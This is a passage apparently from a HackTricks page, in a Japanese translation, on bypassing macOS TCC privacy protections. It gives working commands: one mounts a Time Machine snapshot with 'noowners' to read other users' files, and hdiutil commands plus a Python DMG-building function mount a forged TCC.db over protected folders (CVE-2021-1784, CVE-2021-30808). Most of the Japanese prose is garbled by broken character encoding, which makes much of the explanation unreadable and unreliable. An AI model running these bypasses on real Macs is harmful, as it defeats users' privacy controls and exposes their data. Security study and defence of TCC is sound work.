# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
A more detailed explanation can be found in the original report.
CVE-2021-1784 & CVE-2021-30808 - TCCãã¡ã€ã«ã®ããŠã³ã
TCC DBãã¡ã€ã«ãä¿è·ãããŠããŠããæ°ããTCC.dbãã¡ã€ã«ããã£ã¬ã¯ããªã«ããŠã³ãããããšãå¯èœã§ãã:
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg
# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
Check the full exploit in the original writeup.
CVE-2024-40855
å
ã®è§£èª¬ã§èª¬æãããŠããããã«ããã®CVEã¯diskarbitrationdãæªçšããŸããã
å
¬éãããDiskArbitrationãã¬ãŒã ã¯ãŒã¯ã®é¢æ°DADiskMountWithArgumentsCommonãã»ãã¥ãªãã£ãã§ãã¯ãå®è¡ããŸãããããããdiskarbitrationdãçŽæ¥åŒã³åºãããšã§ãã€ãã¹ããããšãå¯èœã§ããããã®ããã«ãã¹å
ã§../èŠçŽ ãã·ã³ããªãã¯ãªã³ã¯ã䜿çšããããšãã§ããŸãã
ããã«ãããæ»æè
ã¯diskarbitrationdã®æš©écom.apple.private.security.storage-exempt.heritableãå©çšããŠãTCCããŒã¿ããŒã¹äžãå«ãä»»æã®å Žæã«ããŠã³ããè¡ãããšãã§ããŸããã
asr
ããŒã«**/usr/sbin/asr**ã¯ãTCCä¿è·ããã€ãã¹ããŠãã£ã¹ã¯å
šäœãã³ããŒããå¥ã®å Žæã«ããŠã³ãããããšãå¯èœã«ããŸããã
Location Services
/var/db/locationd/clients.plistã«ã¯ãäœçœ®æ
å ±ãµãŒãã¹ã«ã¢ã¯ã»ã¹ããããšãèš±å¯ãããã¯ã©ã€ã¢ã³ãã瀺ã第äžã®TCCããŒã¿ããŒã¹ããããŸãã
ãã©ã«ã/var/db/locationd/ã¯DMGããŠã³ãããä¿è·ãããŠããªãã£ããããèªåèªèº«ã®plistãããŠã³ãããããšãå¯èœã§ããã
By startup apps
By grep
ããã€ãã®å Žé¢ã§ããã¡ã€ã«ã¯ã¡ãŒã«ãé»è©±çªå·ãã¡ãã»ãŒãžãªã©ã®æ©å¯æ å ±ãä¿è·ãããŠããªãå Žæã«ä¿åããŸãïŒããã¯Appleã«ãšã£ãŠè匱æ§ãšèŠãªãããŸãïŒã
.png)
Synthetic Clicks
ããã¯ããæ©èœããŸããããéå»ã«ã¯æ©èœããŠããŸãã:
.png)
å¥ã®æ¹æ³ãšããŠCoreGraphicsã€ãã³ãã䜿çšããŸãïŒ
.png)
Reference
- https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8
- https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/
- 20+ Ways to Bypass Your macOS Privacy Mechanisms
- Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


